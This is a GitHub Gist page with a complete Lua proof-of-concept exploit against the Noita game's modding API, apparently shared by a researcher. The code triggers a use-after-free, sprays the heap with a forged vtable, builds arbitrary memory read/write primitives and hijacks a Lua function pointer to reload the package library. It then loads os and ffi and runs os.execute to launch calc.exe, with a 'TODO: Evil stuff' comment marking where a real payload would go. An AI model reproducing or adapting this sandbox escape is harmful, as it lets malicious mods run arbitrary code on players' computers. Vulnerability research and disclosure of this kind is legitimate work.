Last active
August 31, 2023 20:03
-
-
Save dextercd/4c6276d24e9a0bd22fcb160f4000c348 to your computer and use it in GitHub Desktop.
Third Noita modding API exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Utils | |
function get_lua_addr(object) | |
return tonumber(("%p"):format(object), 16) | |
end | |
-- Offsets to interesting parts of LuaJIT internal structures. | |
local fun_sz = 20 | |
local str_sz = 16 | |
function number_to_le_str(nr) | |
return string.char( | |
bit.band(bit.rshift(nr, 0), 0xff), | |
bit.band(bit.rshift(nr, 8), 0xff), | |
bit.band(bit.rshift(nr, 16), 0xff), | |
bit.band(bit.rshift(nr, 24), 0xff) | |
) | |
end | |
-- The exploit | |
function part1() | |
e = EntityCreateNew() | |
v = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false}) | |
EntityRemoveComponent(e, v) | |
-- Despite having removed the component, it is not removed from the std::map | |
-- that's used to look up a component's address based on its numeric ID. | |
-- This means we can keep playing with the memory and cause something new to | |
-- be allocated in its place. (Use after free) | |
end | |
function part2() | |
-- Construct a new vtable. Mix of VariableStorageComponent and ElectricChargeComponent. | |
-- Addresses hardcoded for the Jun 19 2023 Steam version of Noita. | |
local vcs_comp_vtable = { | |
0x00a7c230, | |
0x00a7b120, | |
0x00a7b720, | |
0x00a7af20, | |
0x00a7b010, | |
0x00994990, -- ElectricChargeComponent::SetValue | |
0x00a7bad0, | |
0x00a7bbc0, | |
0x00a7bd90, | |
0x00a7c090, | |
0x00a7bf80, | |
0x00a7c1e0, | |
0x00a7c150, | |
0x00a7aaa0, | |
0x00a7b100, | |
0x00a7b340, | |
0x00a7b3f0, | |
} | |
vcs_str = "" | |
for _, v in ipairs(vcs_comp_vtable) do | |
vcs_str = vcs_str .. number_to_le_str(v) | |
end | |
local str_data_start = get_lua_addr(vcs_str) + str_sz | |
local str = number_to_le_str(str_data_start) .. string.rep(".", 11052) | |
-- This causes Noita to allocate a string the same length as a | |
-- VerletPhysicsComponent struct. One of these allocations is likely to | |
-- occupy the same memory as the component we destroyed. | |
for i=1, 100 do | |
EntityAddComponent2(e, "VariableStorageComponent", {name=str}) | |
end | |
-- We now have a component that partially behaves like a | |
-- VariableStorageComponent and partially like an ElectricChargeComponent. | |
-- Using this we can craft our arbitrary read/write primitives. | |
-- Construct fake std::string that points to an arbitrary memory address. | |
function construct_string(addr, length) | |
ComponentSetValue(v, "charge_time_frames", tostring(addr)) | |
ComponentSetValue(v, "fx_emission_interval_max", tostring(length)) | |
ComponentSetValue(v, "charge", tostring(1000)) | |
end | |
-- Read from the fake std::string. | |
function read_string() | |
return ComponentGetValue2(v, "name") | |
end | |
-- Write into the fake std::string's data. | |
function write_string(value) | |
ComponentSetValue2(v, "name", value) | |
end | |
local function read_int(addr) | |
construct_string(addr, 4) | |
local bytes = read_string() | |
local value = 0 | |
for i=1,math.min(#bytes, 4) do | |
value = value + string.byte(bytes, i) * math.pow(256, i - 1) | |
end | |
return value | |
end | |
local function write_int(addr, value) | |
local bytes = string.char( | |
bit.band(bit.rshift(value, 0), 0xff), | |
bit.band(bit.rshift(value, 8), 0xff), | |
bit.band(bit.rshift(value, 16), 0xff), | |
bit.band(bit.rshift(value, 24), 0xff) | |
) | |
construct_string(addr, 4) | |
write_string(bytes) | |
end | |
-- Read the luaopen_string IAT entry. | |
-- Address hardcoded for the Jun 19 2023 Steam version of Noita | |
local luaopen_string = read_int(0x00d2478c) | |
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away | |
write_int(get_lua_addr(SetPlayerSpawnLocation) + fun_sz, luaopen_package) | |
-- SetPlayerSpawnLocation is now actually luaopen_package! | |
SetPlayerSpawnLocation() | |
-- We can use package.loadlib to load anything we want. | |
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")() | |
local os = package.loadlib("lua51.dll", "luaopen_os")() | |
-- TODO: Evil stuff 3.0 | |
os.execute("calc.exe") -- scare the user with maths | |
end | |
function OnWorldPreUpdate() | |
local frame = GameGetFrameNum() | |
-- Must wait a frame before the component is really deallocated | |
if frame == 120 then part1() end | |
if frame == 121 then part2() end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment